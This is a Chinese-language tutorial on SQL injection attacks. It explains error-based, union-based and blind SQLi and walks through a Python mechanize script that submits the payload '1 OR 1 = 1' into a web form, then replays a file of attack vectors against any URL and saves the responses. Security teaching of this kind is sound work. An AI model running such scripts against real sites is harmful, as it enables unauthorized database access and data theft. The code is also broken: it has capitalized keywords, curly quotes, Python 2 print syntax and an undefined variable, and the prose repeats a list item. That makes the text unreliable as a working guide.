Python渗透测试-SQLi Web攻击


SQL 注入是一组放置在 URL 字符串或数据结构中的 SQL 命令,以便从与 Web 应用程序连接的数据库中检索我们想要的响应。此类攻击通常发生在使用 PHP 或 ASP.NET 开发的网页上。

SQL 注入攻击可以通过以下意图来完成:

  • 修改数据库的内容

  • 修改数据库的内容

  • 执行应用程序不允许的不同查询

当应用程序在将输入传递给 SQL 语句之前未正确验证输入时,这种类型的攻击就会发生。注入通常放置在地址栏、搜索字段或数据字段中。

检测 Web 应用程序是否容易受到 SQL 注入攻击的最简单方法是在字符串中使用“'”字符,并查看是否出现任何错误。

SQLi 攻击的类型

在本节中,我们将了解不同类型的 SQLi 攻击。攻击可以分为以下两种类型 -

  • 带内 SQL 注入(简单 SQLi)

  • 推理 SQL 注入(盲 SQLi)

带内 SQL 注入(简单 SQLi)

这是最常见的 SQL 注入。这种 SQL 注入主要发生在攻击者能够使用相同的通信通道发起攻击并聚合结果时。带内 SQL 注入进一步分为两种类型 -

  • 基于错误的 SQL 注入- 基于错误的 SQL 注入技术依赖于数据库服务器抛出的错误消息来获取有关数据库结构的信息。

  • 基于联合的 SQL 注入- 这是另一种带内 SQL 注入技术,它利用 UNION SQL 运算符将两个或多个 SELECT 语句的结果组合成一个结果,然后作为 HTTP 响应的一部分返回。

推理 SQL 注入(盲 SQLi)

在这种 SQL 注入攻击中,攻击者无法看到带内攻击的结果,因为没有数据通过 Web 应用程序传输。这就是它也被称为 Blind SQLi 的原因。推理 SQL 注入还有两种类型 -

  • 基于布尔的盲 SQLi - 这种技术依赖于向数据库发送 SQL 查询,这迫使应用程序根据查询返回 TRUE 还是 FALSE 结果返回不同的结果。

  • 基于时间的盲 SQLi - 这种技术依赖于向数据库发送 SQL 查询,这迫使数据库在响应之前等待指定的时间(以秒为单位)。响应时间将向攻击者指示查询结果是 TRUE 还是 FALSE。

例子

所有类型的 SQLi 都可以通过操作应用程序的输入数据来实现。在以下示例中,我们将编写一个 Python 脚本,将攻击向量注入到应用程序中,并分析输出以验证攻击的可能性。在这里,我们将使用名为mechanize的 python 模块,它提供了在网页中获取 Web 表单的便利性,并且也方便了输入值的提交。我们还使用该模块进行客户端验证。

以下 Python 脚本有助于使用mechanize提交表单并分析响应-

首先我们需要导入mechanize模块。

import mechanize

现在,提供用于在提交表单后获取响应的 URL 名称。

url = input("Enter the full url")

下面的代码行将打开该网址。

request = mechanize.Browser()
request.open(url)

现在,我们需要选择表单。

request.select_form(nr = 0)

在这里,我们将设置列名称“id”。

request["id"] = "1 OR 1 = 1"

现在,我们需要提交表格。

response = request.submit()
content = response.read()
print content

上面的脚本将打印 POST 请求的响应。我们提交了一个攻击向量来破坏 SQL 查询并打印表中的所有数据而不是一行。所有攻击向量都将保存在一个文本文件中,例如矢量.txt。现在,下面给出的Python脚本将从文件中获取这些攻击向量并将它们一一发送到服务器。它还会将输出保存到文件中。

首先,让我们导入 mechanize 模块。

import mechanize

现在,提供用于在提交表单后获取响应的 URL 名称。

url = input("Enter the full url")
   attack_no = 1

我们需要从文件中读取攻击向量。

With open (‘vectors.txt’) as v:

现在我们将使用每个 arack 向量发送请求

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

现在,以下代码行会将响应写入输出文件。

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

通过检查和分析响应,我们可以识别可能的攻击。例如,如果它提供的响应包含句子“您的 SQL 语法有错误”,则意味着该表单可能受到 SQL 注入的影响。